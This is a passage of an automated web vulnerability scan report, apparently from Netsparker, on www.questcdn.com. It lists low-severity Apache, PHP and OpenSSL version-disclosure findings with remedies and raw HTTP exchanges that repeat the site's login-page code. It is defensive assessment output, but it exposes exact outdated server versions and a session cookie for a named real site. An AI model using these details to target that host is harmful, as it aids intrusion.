url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}

function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}

function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':

url = 'projects/MyProjects/my_projects.html';

break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab=myprojects';

url += '&allMember=true';

location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value=""/> <input type="hidden" name="jobPK" value=""/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpacing=0 cellPadding=0 width=277 border=0> <TR height=70> <TD width=75 height=70></TD> <TD width=10 height=70></TD> <TD height=70></TD> </..
Apache Version Disclosure

Apache Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /

/

http://www.questcdn.com/

Extracted Version

Apache/2.2.4 (Ubuntu)

Request

GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Accept-Encoding: gzip, deflate,gzip, deflate
Host: www.questcdn.com

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:35:52 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/752384704271622620; Expires=Thu, 03-Mar-2011 23:35:52 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29737
Content-Type: text/html;charset=utf-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">

var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = '';
var sCurrentSubTab = '';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';

function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[] sCurrentSubTab:[]');
setCurrentTab(null, '');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}

function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}

function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);

if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}

function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}

function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}

function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}

function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}

function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}

function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}

function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}

function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}

function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}

function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '&current_sub_tab=' + subtab;
}
return url;
}

function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}

function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}

function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':

url = 'projects/MyProjects/my_projects.html';

break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab=myprojects';

url += '&allMember=true';

location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value=""/> <input type="hidden" name="jobPK" value=""/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpacing=0 cellPadding=0 width=277 border=0> <TR height=70> <TD width=75 height=70></TD> <TD width=10 height=70></TD> <TD height=70></TD> </T..
PHP Version Disclosure

PHP Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

Impact

An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /

/

http://www.questcdn.com/

Extracted Version

PHP/5.2.3

Request

GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Accept-Encoding: gzip, deflate,gzip, deflate
Host: www.questcdn.com

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:35:52 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/752384704271622620; Expires=Thu, 03-Mar-2011 23:35:52 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29737
Content-Type: text/html;charset=utf-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">

var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = '';
var sCurrentSubTab = '';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';

function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[] sCurrentSubTab:[]');
setCurrentTab(null, '');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}

function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}

function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);

if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}

function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}

function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}

function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}

function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}

function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}

function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}

function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}

function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}

function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}

function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '&current_sub_tab=' + subtab;
}
return url;
}

function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}

function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}

function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':

url = 'projects/MyProjects/my_projects.html';

break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab=myprojects';

url += '&allMember=true';

location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value=""/> <input type="hidden" name="jobPK" value=""/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpacing=0 cellPadding=0 width=277 border=0> <TR height=70> <TD width=75 height=70></TD> <TD width=10 height=70></TD> <TD height=70></TD> </T..
OpenSSL Version Disclosure

OpenSSL Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing OpenSSL version in the HTTP response. This information can help an attacker to develop further attacks and also the system can become an easier target for automated attacks.

Impact

An attacker can look for specific security vulnerabilities for the identified version. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /

/

http://www.questcdn.com/

Extracted Version

OpenSSL/0.9.8e

Request

GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Accept-Encoding: gzip, deflate,gzip, deflate
Host: www.questcdn.com

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:35:52 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/752384704271622620; Expires=Thu, 03-Mar-2011 23:35:52 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29737
Content-Type: text/html;charset=utf-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">

